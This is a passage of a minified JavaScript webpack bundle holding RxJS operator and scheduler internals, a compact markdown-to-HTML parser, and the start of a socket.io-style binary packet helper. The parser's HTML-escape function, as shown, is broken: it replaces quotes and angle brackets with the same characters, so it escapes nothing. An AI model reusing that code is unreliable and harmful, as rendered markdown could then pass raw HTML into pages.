S=d(3009);const g={};function C(...j){let U,G;return(0,n.K)(j[j.length-1])&&(G=j.pop()),"function"==typeof j[j.length-1]&&(U=j.pop()),1===j.length&&(0,a.k)(j[0])&&(j=j[0]),(0,S.n)(j,G).lift(new z(U))}class z{constructor(U){this.resultSelector=U}call(U,G){return G.subscribe(new H(U,this.resultSelector))}}class H extends u{constructor(U,G){super(U),this.resultSelector=G,this.active=0,this.values=[],this.observables=[]}_next(U){this.values.push(g),this.observables.push(U)}_complete(){const U=this.observables,G=U.length;if(0===G)this.destination.complete();else{this.active=G,this.toRespond=G;for(let Q=0;Q<G;Q++)this.add(_(this,U[Q],void 0,Q))}}notifyComplete(U){0==(this.active-=1)&&this.destination.complete()}notifyNext(U,G,Q){const oe=this.values,k=this.toRespond?oe[Q]===g?--this.toRespond:this.toRespond:0;oe[Q]=G,0===k&&(this.resultSelector?this._tryResultSelector(oe):this.destination.next(oe.slice()))}_tryResultSelector(U){let G;try{G=this.resultSelector.apply(this,U)}catch(Q){return void this.destination.error(Q)}this.destination.next(G)}}},1221:(At,ae,d)=>{"use strict";d.d(ae,{z:()=>u});var n=d(1086),a=d(9146);function u(...c){return function s(){return(0,a.J)(1)}()((0,n.of)(...c))}},8514:(At,ae,d)=>{"use strict";d.d(ae,{P:()=>u});var n=d(6498),a=d(5254),s=d(8896);function u(c){return new n.y(f=>{let E;try{E=c()}catch(S){return void f.error(S)}return(E?(0,a.D)(E):(0,s.c)()).subscribe(f)})}},8896:(At,ae,d)=>{"use strict";d.d(ae,{E:()=>a,c:()=>s});var n=d(6498);const a=new n.y(c=>c.complete());function s(c){return c?function u(c){return new n.y(f=>c.schedule(()=>f.complete()))}(c):a}},567:(At,ae,d)=>{"use strict";d.d(ae,{D:()=>f});var n=d(6498),a=d(6688),s=d(4850),u=d(7830),c=d(5254);function f(..._){if(1===_.length){const S=_[0];if((0,a.k)(S))return E(S,null);if((0,u.K)(S)&&Object.getPrototypeOf(S)===Object.prototype){const g=Object.keys(S);return E(g.map(C=>S[C]),g)}}if("function"==typeof _[_.length-1]){const S=_.pop();return E(_=1===_.length&&(0,a.k)(_[0])?_[0]:_,null).pipe((0,s.U)(g=>S(...g)))}return E(_,null)}function E(_,S){return new n.y(g=>{const C=_.length;if(0===C)return void g.complete();const z=new Array(C);let H=0,j=0;for(let U=0;U<C;U++){const G=(0,c.D)(_[U]);let Q=!1;g.add(G.subscribe({next:oe=>{Q||(Q=!0,j++),z[U]=oe},error:oe=>g.error(oe),complete:()=>{H++,(H===C||!Q)&&(j===C&&g.next(S?S.reduce((oe,Ce,k)=>(oe[Ce]=z[k],oe),{}):z),g.complete())}}))}})}},5254:(At,ae,d)=>{"use strict";d.d(ae,{D:()=>U});var n=d(6498),a=d(9249),s=d(2654),u=d(3821),E=d(6454),_=d(5430),C=d(8955),z=d(8515);function U(G,Q){return Q?function j(G,Q){if(null!=G){if(function g(G){return G&&"function"==typeof G[u.L]}(G))return function c(G,Q){return new n.y(oe=>{const Ce=new s.w;return Ce.add(Q.schedule(()=>{const k=G[u.L]();Ce.add(k.subscribe({next(K){Ce.add(Q.schedule(()=>oe.next(K)))},error(K){Ce.add(Q.schedule(()=>oe.error(K)))},complete(){Ce.add(Q.schedule(()=>oe.complete()))}}))})),Ce})}(G,Q);if((0,C.t)(G))return function f(G,Q){return new n.y(oe=>{const Ce=new s.w;return Ce.add(Q.schedule(()=>G.then(k=>{Ce.add(Q.schedule(()=>{oe.next(k),Ce.add(Q.schedule(()=>oe.complete()))}))},k=>{Ce.add(Q.schedule(()=>oe.error(k)))}))),Ce})}(G,Q);if((0,z.z)(G))return(0,E.r)(G,Q);if(function H(G){return G&&"function"==typeof G[_.hZ]}(G)||"string"==typeof G)return function S(G,Q){if(!G)throw new Error("Iterable cannot be null");return new n.y(oe=>{const Ce=new s.w;let k;return Ce.add(()=>{k&&"function"==typeof k.return&&k.return()}),Ce.add(Q.schedule(()=>{k=G[_.hZ](),Ce.add(Q.schedule(function(){if(oe.closed)return;let K,se;try{const ee=k.next();K=ee.value,se=ee.done}catch(ee){return void oe.error(ee)}se?oe.complete():(oe.next(K),this.schedule())}))})),Ce})}(G,Q)}throw new TypeError((null!==G&&typeof G||G)+" is not observable")}(G,Q):G instanceof n.y?G:new n.y((0,a.s)(G))}},3009:(At,ae,d)=>{"use strict";d.d(ae,{n:()=>u});var n=d(6498),a=d(3650),s=d(6454);function u(c,f){return f?(0,s.r)(c,f):new n.y((0,a.V)(c))}},3753:(At,ae,d)=>{"use strict";d.d(ae,{R:()=>f});var n=d(6498),a=d(6688),s=d(7043),u=d(4850);function f(C,z,H,j){return(0,s.m)(H)&&(j=H,H=void 0),j?f(C,z,H).pipe((0,u.U)(U=>(0,a.k)(U)?j(...U):j(U))):new n.y(U=>{E(C,z,function G(Q){U.next(arguments.length>1?Array.prototype.slice.call(arguments):Q)},U,H)})}function E(C,z,H,j,U){let G;if(function g(C){return C&&"function"==typeof C.addEventListener&&"function"==typeof C.removeEventListener}(C)){const Q=C;C.addEventListener(z,H,U),G=()=>Q.removeEventListener(z,H,U)}else if(function S(C){return C&&"function"==typeof C.on&&"function"==typeof C.off}(C)){const Q=C;C.on(z,H),G=()=>Q.off(z,H)}else if(function _(C){return C&&"function"==typeof C.addListener&&"function"==typeof C.removeListener}(C)){const Q=C;C.addListener(z,H),G=()=>Q.removeListener(z,H)}else{if(!C||!C.length)throw new TypeError("Invalid event target");for(let Q=0,oe=C.length;Q<oe;Q++)E(C[Q],z,H,j,U)}j.add(G)}},6787:(At,ae,d)=>{"use strict";d.d(ae,{T:()=>c});var n=d(6498),a=d(2866),s=d(9146),u=d(3009);function c(...f){let E=Number.POSITIVE_INFINITY,_=null,S=f[f.length-1];return(0,a.K)(S)?(_=f.pop(),f.length>1&&"number"==typeof f[f.length-1]&&(E=f.pop())):"number"==typeof S&&(E=f.pop()),null===_&&1===f.length&&f[0]instanceof n.y?f[0]:(0,s.J)(E)((0,u.n)(f,_))}},1086:(At,ae,d)=>{"use strict";d.d(ae,{of:()=>u});var n=d(2866),a=d(3009),s=d(6454);function u(...c){let f=c[c.length-1];return(0,n.K)(f)?(c.pop(),(0,s.r)(c,f)):(0,a.n)(c)}},1737:(At,ae,d)=>{"use strict";d.d(ae,{_:()=>a});var n=d(6498);function a(u,c){return new n.y(c?f=>c.schedule(s,0,{error:u,subscriber:f}):f=>f.error(u))}function s({error:u,subscriber:c}){c.error(u)}},7739:(At,ae,d)=>{"use strict";d.d(ae,{H:()=>f});var n=d(6498),a=d(353),s=d(6688);function u(_){return!(0,s.k)(_)&&_-parseFloat(_)+1>=0}var c=d(2866);function f(_=0,S,g){let C=-1;return u(S)?C=Number(S)<1?1:Number(S):(0,c.K)(S)&&(g=S),(0,c.K)(g)||(g=a.P),new n.y(z=>{const H=u(_)?_:+_-g.now();return g.schedule(E,H,{index:0,period:C,subscriber:z})})}function E(_){const{index:S,period:g,subscriber:C}=_;if(C.next(S),!C.closed){if(-1===g)return C.complete();_.index=S+1,this.schedule(_,g)}}},7221:(At,ae,d)=>{"use strict";d.d(ae,{K:()=>a});var n=d(1177);function a(c){return function(E){const _=new s(c),S=E.lift(_);return _.caught=S}}class s{constructor(f){this.selector=f}call(f,E){return E.subscribe(new u(f,this.selector,this.caught))}}class u extends n.Ds{constructor(f,E,_){super(f),this.selector=E,this.caught=_}error(f){if(!this.isStopped){let E;try{E=this.selector(f,this.caught)}catch(g){return void super.error(g)}this._unsubscribeAndRecycle();const _=new n.IY(this);this.add(_);const S=(0,n.ft)(E,_);S!==_&&this.add(S)}}}},1406:(At,ae,d)=>{"use strict";d.d(ae,{b:()=>a});var n=d(1709);function a(s,u){return(0,n.zg)(s,u,1)}},13:(At,ae,d)=>{"use strict";d.d(ae,{b:()=>s});var n=d(3489),a=d(353);function s(E,_=a.P){return S=>S.lift(new u(E,_))}class u{constructor(_,S){this.dueTime=_,this.scheduler=S}call(_,S){return S.subscribe(new c(_,this.dueTime,this.scheduler))}}class c extends n.L{constructor(_,S,g){super(_),this.dueTime=S,this.scheduler=g,this.debouncedSubscription=null,this.lastValue=null,this.hasValue=!1}_next(_){this.clearDebounce(),this.lastValue=_,this.hasValue=!0,this.add(this.debouncedSubscription=this.scheduler.schedule(f,this.dueTime,this))}_complete(){this.debouncedNext(),this.destination.complete()}debouncedNext(){if(this.clearDebounce(),this.hasValue){const{lastValue:_}=this;this.lastValue=null,this.hasValue=!1,this.destination.next(_)}}clearDebounce(){const _=this.debouncedSubscription;null!==_&&(this.remove(_),_.unsubscribe(),this.debouncedSubscription=null)}}function f(E){E.debouncedNext()}},8583:(At,ae,d)=>{"use strict";d.d(ae,{g:()=>c});var n=d(353),s=d(3489),u=d(9312);function c(S,g=n.P){const z=function a(S){return S instanceof Date&&!isNaN(+S)}(S)?+S-g.now():Math.abs(S);return H=>H.lift(new f(z,g))}class f{constructor(g,C){this.delay=g,this.scheduler=C}call(g,C){return C.subscribe(new E(g,this.delay,this.scheduler))}}class E extends s.L{constructor(g,C,z){super(g),this.delay=C,this.scheduler=z,this.queue=[],this.active=!1,this.errored=!1}static dispatch(g){const C=g.source,z=C.queue,H=g.scheduler,j=g.destination;for(;z.length>0&&z[0].time-H.now()<=0;)z.shift().notification.observe(j);if(z.length>0){const U=Math.max(0,z[0].time-H.now());this.schedule(g,U)}else this.unsubscribe(),C.active=!1}_schedule(g){this.active=!0,this.destination.add(g.schedule(E.dispatch,this.delay,{source:this,destination:this.destination,scheduler:g}))}scheduleNotification(g){if(!0===this.errored)return;const C=this.scheduler,z=new _(C.now()+this.delay,g);this.queue.push(z),!1===this.active&&this._schedule(C)}_next(g){this.scheduleNotification(u.P.createNext(g))}_error(g){this.errored=!0,this.queue=[],this.destination.error(g),this.unsubscribe()}_complete(){this.scheduleNotification(u.P.createComplete()),this.unsubscribe()}}class _{constructor(g,C){this.time=g,this.notification=C}}},5778:(At,ae,d)=>{"use strict";d.d(ae,{x:()=>a});var n=d(3489);function a(c,f){return E=>E.lift(new s(c,f))}class s{constructor(f,E){this.compare=f,this.keySelector=E}call(f,E){return E.subscribe(new u(f,this.compare,this.keySelector))}}class u extends n.L{constructor(f,E,_){super(f),this.keySelector=_,this.hasKey=!1,"function"==typeof E&&(this.compare=E)}compare(f,E){return f===E}_next(f){let E;try{const{keySelector:S}=this;E=S?S(f):f}catch(S){return this.destination.error(S)}let _=!1;if(this.hasKey)try{const{compare:S}=this;_=S(this.key,E)}catch(S){return this.destination.error(S)}else this.hasKey=!0;_||(this.key=E,this.destination.next(f))}}},2198:(At,ae,d)=>{"use strict";d.d(ae,{h:()=>a});var n=d(3489);function a(c,f){return function(_){return _.lift(new s(c,f))}}class s{constructor(f,E){this.predicate=f,this.thisArg=E}call(f,E){return E.subscribe(new u(f,this.predicate,this.thisArg))}}class u extends n.L{constructor(f,E,_){super(f),this.predicate=E,this.thisArg=_,this.count=0}_next(f){let E;try{E=this.predicate.call(this.thisArg,f,this.count++)}catch(_){return void this.destination.error(_)}E&&this.destination.next(f)}}},537:(At,ae,d)=>{"use strict";d.d(ae,{x:()=>s});var n=d(3489),a=d(2654);function s(f){return E=>E.lift(new u(f))}class u{constructor(E){this.callback=E}call(E,_){return _.subscribe(new c(E,this.callback))}}class c extends n.L{constructor(E,_){super(E),this.add(new a.w(_))}}},4850:(At,ae,d)=>{"use strict";d.d(ae,{U:()=>a});var n=d(3489);function a(c,f){return function(_){if("function"!=typeof c)throw new TypeError("argument is not a function. Are you looking for `mapTo()`?");return _.lift(new s(c,f))}}class s{constructor(f,E){this.project=f,this.thisArg=E}call(f,E){return E.subscribe(new u(f,this.project,this.thisArg))}}class u extends n.L{constructor(f,E,_){super(f),this.project=E,this.count=0,this.thisArg=_||this}_next(f){let E;try{E=this.project.call(this.thisArg,f,this.count++)}catch(_){return void this.destination.error(_)}this.destination.next(E)}}},7604:(At,ae,d)=>{"use strict";d.d(ae,{h:()=>a});var n=d(3489);function a(c){return f=>f.lift(new s(c))}class s{constructor(f){this.value=f}call(f,E){return E.subscribe(new u(f,this.value))}}class u extends n.L{constructor(f,E){super(f),this.value=E}_next(f){this.destination.next(this.value)}}},9146:(At,ae,d)=>{"use strict";d.d(ae,{J:()=>s});var n=d(1709),a=d(5379);function s(u=Number.POSITIVE_INFINITY){return(0,n.zg)(a.y,u)}},1709:(At,ae,d)=>{"use strict";d.d(ae,{zg:()=>u});var n=d(4850),a=d(5254),s=d(1177);function u(_,S,g=Number.POSITIVE_INFINITY){return"function"==typeof S?C=>C.pipe(u((z,H)=>(0,a.D)(_(z,H)).pipe((0,n.U)((j,U)=>S(z,j,H,U))),g)):("number"==typeof S&&(g=S),C=>C.lift(new c(_,g)))}class c{constructor(S,g=Number.POSITIVE_INFINITY){this.project=S,this.concurrent=g}call(S,g){return g.subscribe(new f(S,this.project,this.concurrent))}}class f extends s.Ds{constructor(S,g,C=Number.POSITIVE_INFINITY){super(S),this.project=g,this.concurrent=C,this.hasCompleted=!1,this.buffer=[],this.active=0,this.index=0}_next(S){this.active<this.concurrent?this._tryNext(S):this.buffer.push(S)}_tryNext(S){let g;const C=this.index++;try{g=this.project(S,C)}catch(z){return void this.destination.error(z)}this.active++,this._innerSub(g)}_innerSub(S){const g=new s.IY(this),C=this.destination;C.add(g);const z=(0,s.ft)(S,g);z!==g&&C.add(z)}_complete(){this.hasCompleted=!0,0===this.active&&0===this.buffer.length&&this.destination.complete(),this.unsubscribe()}notifyNext(S){this.destination.next(S)}notifyComplete(){const S=this.buffer;this.active--,S.length>0?this._next(S.shift()):0===this.active&&this.hasCompleted&&this.destination.complete()}}},4327:(At,ae,d)=>{"use strict";d.d(ae,{x:()=>a});var n=d(3489);function a(){return function(f){return f.lift(new s(f))}}class s{constructor(f){this.connectable=f}call(f,E){const{connectable:_}=this;_._refCount++;const S=new u(f,_),g=E.subscribe(S);return S.closed||(S.connection=_.connect()),g}}class u extends n.L{constructor(f,E){super(f),this.connectable=E}_unsubscribe(){const{connectable:f}=this;if(!f)return void(this.connection=null);this.connectable=null;const E=f._refCount;if(E<=0)return void(this.connection=null);if(f._refCount=E-1,E>1)return void(this.connection=null);const{connection:_}=this,S=f._connection;this.connection=null,S&&(!_||S===_)&&S.unsubscribe()}}},2474:(At,ae,d)=>{"use strict";d.d(ae,{B:()=>E});var n=d(1762);class s{constructor(S,g){this.subjectFactory=S,this.selector=g}call(S,g){const{selector:C}=this,z=this.subjectFactory(),H=C(z).subscribe(S);return H.add(g.subscribe(z)),H}}var u=d(4327),c=d(8929);function f(){return new c.xQ}function E(){return _=>(0,u.x)()(function a(_,S){return function(C){let z;if(z="function"==typeof _?_:function(){return _},"function"==typeof S)return C.lift(new s(z,S));const H=Object.create(C,n.N);return H.source=C,H.subjectFactory=z,H}}(f)(_))}},1307:(At,ae,d)=>{"use strict";d.d(ae,{T:()=>a});var n=d(3489);function a(c){return f=>f.lift(new s(c))}class s{constructor(f){this.total=f}call(f,E){return E.subscribe(new u(f,this.total))}}class u extends n.L{constructor(f,E){super(f),this.total=E,this.count=0}_next(f){++this.count>this.total&&this.destination.next(f)}}},1059:(At,ae,d)=>{"use strict";d.d(ae,{O:()=>s});var n=d(1221),a=d(2866);function s(...u){const c=u[u.length-1];return(0,a.K)(c)?(u.pop(),f=>(0,n.z)(u,f,c)):f=>(0,n.z)(u,f)}},7545:(At,ae,d)=>{"use strict";d.d(ae,{w:()=>u});var n=d(4850),a=d(5254),s=d(1177);function u(E,_){return"function"==typeof _?S=>S.pipe(u((g,C)=>(0,a.D)(E(g,C)).pipe((0,n.U)((z,H)=>_(g,z,C,H))))):S=>S.lift(new c(E))}class c{constructor(_){this.project=_}call(_,S){return S.subscribe(new f(_,this.project))}}class f extends s.Ds{constructor(_,S){super(_),this.project=S,this.index=0}_next(_){let S;const g=this.index++;try{S=this.project(_,g)}catch(C){return void this.destination.error(C)}this._innerSub(S)}_innerSub(_){const S=this.innerSubscription;S&&S.unsubscribe();const g=new s.IY(this),C=this.destination;C.add(g),this.innerSubscription=(0,s.ft)(_,g),this.innerSubscription!==g&&C.add(this.innerSubscription)}_complete(){const{innerSubscription:_}=this;(!_||_.closed)&&super._complete(),this.unsubscribe()}_unsubscribe(){this.innerSubscription=void 0}notifyComplete(){this.innerSubscription=void 0,this.isStopped&&super._complete()}notifyNext(_){this.destination.next(_)}}},2986:(At,ae,d)=>{"use strict";d.d(ae,{q:()=>u});var n=d(3489),a=d(4231),s=d(8896);function u(E){return _=>0===E?(0,s.c)():_.lift(new c(E))}class c{constructor(_){if(this.total=_,this.total<0)throw new a.W}call(_,S){return S.subscribe(new f(_,this.total))}}class f extends n.L{constructor(_,S){super(_),this.total=S,this.count=0}_next(_){const S=this.total,g=++this.count;g<=S&&(this.destination.next(_),g===S&&(this.destination.complete(),this.unsubscribe()))}}},7625:(At,ae,d)=>{"use strict";d.d(ae,{R:()=>a});var n=d(1177);function a(c){return f=>f.lift(new s(c))}class s{constructor(f){this.notifier=f}call(f,E){const _=new u(f),S=(0,n.ft)(this.notifier,new n.IY(_));return S&&!_.seenValue?(_.add(S),E.subscribe(_)):_}}class u extends n.Ds{constructor(f){super(f),this.seenValue=!1}notifyNext(){this.seenValue=!0,this.complete()}notifyComplete(){}}},4290:(At,ae,d)=>{"use strict";d.d(ae,{o:()=>a});var n=d(3489);function a(c,f=!1){return E=>E.lift(new s(c,f))}class s{constructor(f,E){this.predicate=f,this.inclusive=E}call(f,E){return E.subscribe(new u(f,this.predicate,this.inclusive))}}class u extends n.L{constructor(f,E,_){super(f),this.predicate=E,this.inclusive=_,this.index=0}_next(f){const E=this.destination;let _;try{_=this.predicate(f,this.index++)}catch(S){return void E.error(S)}this.nextOrComplete(f,_)}nextOrComplete(f,E){const _=this.destination;Boolean(E)?_.next(f):(this.inclusive&&_.next(f),_.complete())}}},2868:(At,ae,d)=>{"use strict";d.d(ae,{b:()=>u});var n=d(3489);function a(){}var s=d(7043);function u(E,_,S){return function(C){return C.lift(new c(E,_,S))}}class c{constructor(_,S,g){this.nextOrObserver=_,this.error=S,this.complete=g}call(_,S){return S.subscribe(new f(_,this.nextOrObserver,this.error,this.complete))}}class f extends n.L{constructor(_,S,g,C){super(_),this._tapNext=a,this._tapError=a,this._tapComplete=a,this._tapError=g||a,this._tapComplete=C||a,(0,s.m)(S)?(this._context=this,this._tapNext=S):S&&(this._context=S,this._tapNext=S.next||a,this._tapError=S.error||a,this._tapComplete=S.complete||a)}_next(_){try{this._tapNext.call(this._context,_)}catch(S){return void this.destination.error(S)}this.destination.next(_)}_error(_){try{this._tapError.call(this._context,_)}catch(S){return void this.destination.error(S)}this.destination.error(_)}_complete(){try{this._tapComplete.call(this._context)}catch(_){return void this.destination.error(_)}return this.destination.complete()}}},6454:(At,ae,d)=>{"use strict";d.d(ae,{r:()=>s});var n=d(6498),a=d(2654);function s(u,c){return new n.y(f=>{const E=new a.w;let _=0;return E.add(c.schedule(function(){_!==u.length?(f.next(u[_++]),f.closed||E.add(this.schedule())):f.complete()})),E})}},6686:(At,ae,d)=>{"use strict";d.d(ae,{o:()=>s});var n=d(2654);class a extends n.w{constructor(c,f){super()}schedule(c,f=0){return this}}class s extends a{constructor(c,f){super(c,f),this.scheduler=c,this.work=f,this.pending=!1}schedule(c,f=0){if(this.closed)return this;this.state=c;const E=this.id,_=this.scheduler;return null!=E&&(this.id=this.recycleAsyncId(_,E,f)),this.pending=!0,this.delay=f,this.id=this.id||this.requestAsyncId(_,this.id,f),this}requestAsyncId(c,f,E=0){return setInterval(c.flush.bind(c,this),E)}recycleAsyncId(c,f,E=0){if(null!==E&&this.delay===E&&!1===this.pending)return f;clearInterval(f)}execute(c,f){if(this.closed)return new Error("executing a cancelled action");this.pending=!1;const E=this._execute(c,f);if(E)return E;!1===this.pending&&null!=this.id&&(this.id=this.recycleAsyncId(this.scheduler,this.id,null))}_execute(c,f){let _,E=!1;try{this.work(c)}catch(S){E=!0,_=!!S&&S||new Error(S)}if(E)return this.unsubscribe(),_}_unsubscribe(){const c=this.id,f=this.scheduler,E=f.actions,_=E.indexOf(this);this.work=null,this.state=null,this.pending=!1,this.scheduler=null,-1!==_&&E.splice(_,1),null!=c&&(this.id=this.recycleAsyncId(f,c,null)),this.delay=null}}},2268:(At,ae,d)=>{"use strict";d.d(ae,{v:()=>a});let n=(()=>{class s{constructor(c,f=s.now){this.SchedulerAction=c,this.now=f}schedule(c,f=0,E){return new this.SchedulerAction(this,c).schedule(E,f)}}return s.now=()=>Date.now(),s})();class a extends n{constructor(u,c=n.now){super(u,()=>a.delegate&&a.delegate!==this?a.delegate.now():c()),this.actions=[],this.active=!1,this.scheduled=void 0}schedule(u,c=0,f){return a.delegate&&a.delegate!==this?a.delegate.schedule(u,c,f):super.schedule(u,c,f)}flush(u){const{actions:c}=this;if(this.active)return void c.push(u);let f;this.active=!0;do{if(f=u.execute(u.state,u.delay))break}while(u=c.shift());if(this.active=!1,f){for(;u=c.shift();)u.unsubscribe();throw f}}}},352:(At,ae,d)=>{"use strict";d.d(ae,{Z:()=>c});var n=d(6686),s=d(2268);const c=new class u extends s.v{flush(_){this.active=!0,this.scheduled=void 0;const{actions:S}=this;let g,C=-1,z=S.length;_=_||S.shift();do{if(g=_.execute(_.state,_.delay))break}while(++C<z&&(_=S.shift()));if(this.active=!1,g){for(;++C<z&&(_=S.shift());)_.unsubscribe();throw g}}}(class a extends n.o{constructor(_,S){super(_,S),this.scheduler=_,this.work=S}requestAsyncId(_,S,g=0){return null!==g&&g>0?super.requestAsyncId(_,S,g):(_.actions.push(this),_.scheduled||(_.scheduled=requestAnimationFrame(()=>_.flush(null))))}recycleAsyncId(_,S,g=0){if(null!==g&&g>0||null===g&&this.delay>0)return super.recycleAsyncId(_,S,g);0===_.actions.length&&(cancelAnimationFrame(S),_.scheduled=void 0)}})},8139:(At,ae,d)=>{"use strict";d.d(ae,{E:()=>C});let n=1;const a=Promise.resolve(),s={};function u(H){return H in s&&(delete s[H],!0)}const c={setImmediate(H){const j=n++;return s[j]=!0,a.then(()=>u(j)&&H()),j},clearImmediate(H){u(H)}};var E=d(6686),S=d(2268);const C=new class g extends S.v{flush(j){this.active=!0,this.scheduled=void 0;const{actions:U}=this;let G,Q=-1,oe=U.length;j=j||U.shift();do{if(G=j.execute(j.state,j.delay))break}while(++Q<oe&&(j=U.shift()));if(this.active=!1,G){for(;++Q<oe&&(j=U.shift());)j.unsubscribe();throw G}}}(class _ extends E.o{constructor(j,U){super(j,U),this.scheduler=j,this.work=U}requestAsyncId(j,U,G=0){return null!==G&&G>0?super.requestAsyncId(j,U,G):(j.actions.push(this),j.scheduled||(j.scheduled=c.setImmediate(j.flush.bind(j,null))))}recycleAsyncId(j,U,G=0){if(null!==G&&G>0||null===G&&this.delay>0)return super.recycleAsyncId(j,U,G);0===j.actions.length&&(c.clearImmediate(U),j.scheduled=void 0)}})},353:(At,ae,d)=>{"use strict";d.d(ae,{P:()=>u});var n=d(6686);const u=new(d(2268).v)(n.o)},5430:(At,ae,d)=>{"use strict";d.d(ae,{hZ:()=>a});const a=function n(){return"function"==typeof Symbol&&Symbol.iterator?Symbol.iterator:"@@iterator"}()},3821:(At,ae,d)=>{"use strict";d.d(ae,{L:()=>n});const n="function"==typeof Symbol&&Symbol.observable||"@@observable"},7668:(At,ae,d)=>{"use strict";d.d(ae,{b:()=>n});const n="function"==typeof Symbol?Symbol("rxSubscriber"):"@@rxSubscriber_"+Math.random()},4231:(At,ae,d)=>{"use strict";d.d(ae,{W:()=>a});const a=(()=>{function s(){return Error.call(this),this.message="argument out of range",this.name="ArgumentOutOfRangeError",this}return s.prototype=Object.create(Error.prototype),s})()},5279:(At,ae,d)=>{"use strict";d.d(ae,{N:()=>a});const a=(()=>{function s(){return Error.call(this),this.message="object unsubscribed",this.name="ObjectUnsubscribedError",this}return s.prototype=Object.create(Error.prototype),s})()},2782:(At,ae,d)=>{"use strict";function n(a){setTimeout(()=>{throw a},0)}d.d(ae,{z:()=>n})},5379:(At,ae,d)=>{"use strict";function n(a){return a}d.d(ae,{y:()=>n})},6688:(At,ae,d)=>{"use strict";d.d(ae,{k:()=>n});const n=Array.isArray||(a=>a&&"number"==typeof a.length)},8515:(At,ae,d)=>{"use strict";d.d(ae,{z:()=>n});const n=a=>a&&"number"==typeof a.length&&"function"!=typeof a},7043:(At,ae,d)=>{"use strict";function n(a){return"function"==typeof a}d.d(ae,{m:()=>n})},7830:(At,ae,d)=>{"use strict";function n(a){return null!==a&&"object"==typeof a}d.d(ae,{K:()=>n})},4715:(At,ae,d)=>{"use strict";d.d(ae,{b:()=>a});var n=d(6498);function a(s){return!!s&&(s instanceof n.y||"function"==typeof s.lift&&"function"==typeof s.subscribe)}},8955:(At,ae,d)=>{"use strict";function n(a){return!!a&&"function"!=typeof a.subscribe&&"function"==typeof a.then}d.d(ae,{t:()=>n})},2866:(At,ae,d)=>{"use strict";function n(a){return a&&"function"==typeof a.schedule}d.d(ae,{K:()=>n})},4843:(At,ae,d)=>{"use strict";d.d(ae,{U:()=>s,z:()=>a});var n=d(5379);function a(...u){return s(u)}function s(u){return 0===u.length?n.y:1===u.length?u[0]:function(f){return u.reduce((E,_)=>_(E),f)}}},9249:(At,ae,d)=>{"use strict";d.d(ae,{s:()=>C});var n=d(3650),a=d(2782),u=d(5430),f=d(3821),_=d(8515),S=d(8955),g=d(7830);const C=z=>{if(z&&"function"==typeof z[f.L])return(z=>H=>{const j=z[f.L]();if("function"!=typeof j.subscribe)throw new TypeError("Provided object does not correctly implement Symbol.observable");return j.subscribe(H)})(z);if((0,_.z)(z))return(0,n.V)(z);if((0,S.t)(z))return(z=>H=>(z.then(j=>{H.closed||(H.next(j),H.complete())},j=>H.error(j)).then(null,a.z),H))(z);if(z&&"function"==typeof z[u.hZ])return(z=>H=>{const j=z[u.hZ]();for(;;){let U;try{U=j.next()}catch(G){return H.error(G),H}if(U.done){H.complete();break}if(H.next(U.value),H.closed)break}return"function"==typeof j.return&&H.add(()=>{j.return&&j.return()}),H})(z);{const j=`You provided ${(0,g.K)(z)?"an invalid object":`\'${z}\'`} where a stream was expected. You can provide an Observable, Promise, Array, or Iterable.`;throw new TypeError(j)}}},3650:(At,ae,d)=>{"use strict";d.d(ae,{V:()=>n});const n=a=>s=>{for(let u=0,c=a.length;u<c&&!s.closed;u++)s.next(a[u]);s.complete()}},8111:(At,ae,d)=>{"use strict";d.d(ae,{Z:()=>c});var n={"":["<em>","</em>"],_:["<strong>","</strong>"],"\\n":["<br />"]," ":["<br />"],"-":["<hr />"]};function a(f){return f.replace(RegExp("^"+(f.match(/^(\\t| )+/)||"")[0],"gm"),"")}function s(f){return(f+"").replace(/"/g,""").replace(/</g,"<").replace(/>/g,">")}const c=function u(f){var z,H,j,U,G,E=/((?:^|\\n+)(?:\\n---+|\\* \\*(?: \\*)+)\\n)|(?:^```(\\w*)\\n([\\s\\S]*?)\\n```$)|((?:(?:^|\\n+)(?:\\t| {2,}).+)+\\n*)|((?:(?:^|\\n)([>*+-]|\\d+\\.)\\s+.*)+)|(?:\\!\\[([^\\]]*?)\\]\\(([^\\)]+?)\\))|(\\[)|(\\](?:\\(([^\\)]+?)\\))?)|(?:(?:^|\\n+)([^\\s].*)\\n(\\-{3,}|={3,})(?:\\n+|$))|(?:(?:^|\\n+)(#{1,3})\\s*(.+)(?:\\n+|$))|(?:`([^`].*?)`)|( \\n\\n*|\\n{2,}|__|\\*\\*|[_*])/gm,_=[],S="",g=0,C={};function Q(Ce){var k=n[Ce.replace(/\\*/g,"_")[1]||""],K=_[_.length-1]==Ce;return k?k[1]?(_[K?"pop":"push"](Ce),k[0|K]):k[0]:Ce}function oe(){for(var Ce="";_.length;)Ce+=Q(_[_.length-1]);return Ce}for(f=f.replace(/^\\[(.+?)\\]:\\s*(.+)$/gm,function(Ce,k,K){return C[k.toLowerCase()]=K,""}).replace(/^\\n+|\\n+$/g,"");j=E.exec(f);)H=f.substring(g,j.index),g=E.lastIndex,z=j[0],H.match(/[^\\\\](\\\\\\\\)*\\\\$/)||(j[3]||j[4]?z=\'<pre class="code \'+(j[4]?"poetry":j[2].toLowerCase())+\'">\'+a(s(j[3]||j[4]).replace(/^\\n+|\\n+$/g,""))+"</pre>":j[6]?((G=j[6]).match(/\\./)&&(j[5]=j[5].replace(/^\\d+/gm,"")),U=u(a(j[5].replace(/^\\s*[>*+.-]/gm,""))),">"===G?G="blockquote":(G=G.match(/\\./)?"ol":"ul",U=U.replace(/^(.*)(\\n|$)/gm,"<li>$1</li>")),z="<"+G+">"+U+"</"+G+">"):j[8]?z=\'<img src="\'+s(j[8])+\'" alt="\'+s(j[7])+\'">\':j[10]?(S=S.replace("<a>",\'<a href="\'+s(j[11]||C[H.toLowerCase()])+\'">\'),z=oe()+"</a>"):j[9]?z="<a>":j[12]||j[14]?z="<"+(G="h"+(j[14]?j[14].length:"="===j[13][0]?1:2))+">"+u(j[12]||j[15])+"</"+G+">":j[16]?z="<code>"+s(j[16])+"</code>":(j[17]||j[1])&&(z=Q(j[17]||"--"))),S+=H,S+=z;return(S+f.substring(g)+oe()).trim()}},3541:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.reconstructPacket=ae.deconstructPacket=void 0;const n=d(8120);function s(f,E){if(!f)return f;if(n.isBinary(f)){const _={_placeholder:!0,num:E.length};return E.push(f),_}if(Array.isArray(f)){const _=new Array(f.length);for(let S=0;S<f.length;S++)_[S]=s(f[S],E);return _}if("object"==typeof f&&!(f instanceof Date)){const _={};for(const S in f)f.hasOwnProperty(S)&&(_[S]=s(f[S],E));return _}return f}function c(f,E){if(!f)return f;if(f&&!0===f._placeholder){if("number"==typeof 